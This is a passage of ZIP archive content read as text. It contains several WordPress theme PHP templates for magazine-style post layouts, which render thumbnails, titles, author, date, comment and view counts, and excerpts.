                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
		<?php if ( $m < 3 ): ?>
        <div class="mag-header"><?php endif; ?>
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( $post_id, ( $m < 3 ? $big_title_length : $_title_length ) ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || ( ( $m < 3 || $show_author_sposts ) && 'yes' != $hide_author ) || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ( $m < 3 || $show_author_sposts ) && 'yes' != $hide_author ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( $post_id );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php if ( $m < 3 ): ?></div><?php endif; ?>
		<?php if ( $m < 3 && get_the_excerpt() && 'yes' != $hide_excerpt ): ?>
            <div class="mag-excerpt entry-content">
				<?php
				if ( isset( $_excerpt_length ) ) {
					$_excerpt_length = $_excerpt_length ? $_excerpt_length : 25;
					penci_the_excerpt( $_excerpt_length, $post_id );
				} else {
					the_excerpt();
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     N\y%ʅ    0  template-parts/magazine-sc/magazine-style-15.phpnu [        <?php
/**
 * Template display for featured category style 15
 *
 * @since 1.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
		<?php if ( $m == 1 || 'yes' == $thumb15 ) { ?>
            <div class="magcat-thumb">
				<?php
				$size_pie = 'small';
				if ( $m == 1 ): $size_pie = 'normal'; endif;
				do_action( 'penci_bookmark_post', get_the_ID(),$size_pie );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID(), $size_pie );
				}
				?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>
				<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php } ?>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), ( $m == 1 ? $big_title_length : $_title_length ) ); ?></a>
                </h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) : ?>
                            <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                            penci_coauthors_posts_links();
	                            else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                            <?php endif; ?></span>
						<?php endif; ?>
						<?php if ( 'yes' != $hide_date ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' == $show_commentcount ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( 'yes' == $show_viewscount ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php if ( isset( $custom_meta_key ) ) {
							echo penci_show_custom_meta_fields( $custom_meta_key );
						} ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     N\$	7    0  template-parts/magazine-sc/magazine-style-12.phpnu [        <?php
/**
 * Template display for featured category style 12
 *
 * @since 2.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="magcat-carousel swiper-slide">
    <div class="magcat-thumb hentry">
        <a href="<?php penci_permalink_fix(); ?>" class="mag-post-thumb<?php echo penci_class_lightbox_enable(); ?>">
			<?php
			do_action( 'penci_bookmark_post', get_the_ID(),'small' );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), 'small' );
			}
			?>
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                <span class="penci-image-holder penci-lazy"
                      data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumbsize ); ?>"
                      href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			</span>
			<?php } else { ?>
                <span class="penci-image-holder"
                      style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                      href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			</span>
			<?php } ?>
			<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-play' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-music' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-link' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<?php penci_fawesome_icon( 'far fa-image' ); ?>
				<?php endif; ?>
			<?php endif; ?>
        </a>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title matcat-small-title entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_author || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta matcat-small-meta">
					<?php if ( 'yes' != $hide_author ) : ?>
                        <span class="featc-author author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\'y"    /  template-parts/magazine-sc/magazine-style-2.phpnu [        <?php
/**
 * Template display for featured category style 2
 *
 * @since 1.0
 */

$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
$post_id = get_the_ID();
?>
<div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
    <div class="magcat-thumb">
		<?php
		$size_pie = 'small';
		if ( $m == 1 ): $size_pie = 'normal'; endif;
		do_action( 'penci_bookmark_post', get_the_ID(),$size_pie );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID(), $size_pie );
		}
		?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <a class="penci-image-holder penci-lazy<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumbsize ); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>

		<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
		<?php if ( $m == 1 ): ?>
        <div class="mag-header"><?php endif; ?>
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), ( $m == 1 ? $big_title_length : $_title_length ) ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php if ( $m == 1 ): ?></div><?php endif; ?>
		<?php if ( $m == 1 && get_the_excerpt() && 'yes' != $hide_excerpt ): ?>
            <div class="mag-excerpt entry-content">
				<?php
				if ( isset( $_excerpt_length ) ) {
					$_excerpt_length = $_excerpt_length ? $_excerpt_length : 25;
					penci_the_excerpt( $_excerpt_length, $post_id );
				} else {
					the_excerpt();
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     N\4    /  template-parts/magazine-sc/magazine-style-7.phpnu [        <?php
/**
 * Template loop for gird style
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
$post_id = get_the_ID();
?>
<li class="grid-style<?php if ( 'yes' == $enable_meta_overlay ): echo ' grid-overlay-meta'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, $thumbsize ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>

									<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                                        <figure class="penci-swiper-mask penci-image-holder penci-lazy"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                data-bgset="<?php echo esc_url( $the_image[0] ); ?>">
                                        </figure>
									<?php } else { ?>
                                        <figure class="penci-swiper-mask penci-image-holder"
											<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>
                                                style="background-image: url('<?php echo esc_url( $the_image[0] ); ?>');">
                                        </figure>
									<?php } ?>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                    <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } else { ?>
                    <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                       href="<?php penci_permalink_fix(); ?>"
                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                    </a>
				<?php } ?>

				<?php if ( 'yes' != $hide_icon_format ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">

            <h2 class="grid-title entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
            </h2>

			<?php do_action( 'penci_after_post_title' ); ?>

			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_date || 'yes' != $hide_author || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( 'yes' != $hide_author ) : ?>
                        <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                    class="url fn n"
                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php if ( isset( $custom_meta_key ) ) {
						echo penci_show_custom_meta_fields( $custom_meta_key );
					} ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && 'yes' != $hide_excerpt ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php
				do_action( 'penci_before_post_excerpt' );
				if ( isset( $_excerpt_length ) ) {
					$_excerpt_length = $_excerpt_length ? $_excerpt_length : 25;
					penci_the_excerpt( $_excerpt_length, $post_id );
				} else {
					the_excerpt();
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </article>
</li>
PK     N\0 V  V  0  template-parts/magazine-sc/magazine-style-14.phpnu [        <?php
/**
 * Template display for featured category style 14
 *
 * @since 1.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
	<?php if ( $m == 1 ) { ?>
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(),$size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                <a class="penci-image-holder penci-lazy<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumbsize ); ?>"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                </a>
			<?php } else { ?>
                <a class="penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                </a>
			<?php } ?>

			<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>

            <div class="magcat-detail">
                <div class="mag-header">
                    <h3 class="magcat-titlte entry-title"><a
                                href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $big_title_length ); ?></a>
                    </h3>
					<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_author || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <div class="grid-post-box-meta mag-meta">
							<?php if ( 'yes' != $hide_author ) : ?>
                                <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                                penci_coauthors_posts_links();
	                                else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                                <?php endif; ?></span>
							<?php endif; ?>
							<?php if ( 'yes' != $hide_date ) : ?>
                                <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( 'yes' == $show_commentcount ) : ?>
                                <span class="featc-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( 'yes' == $show_viewscount ) {
								echo '<span>';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
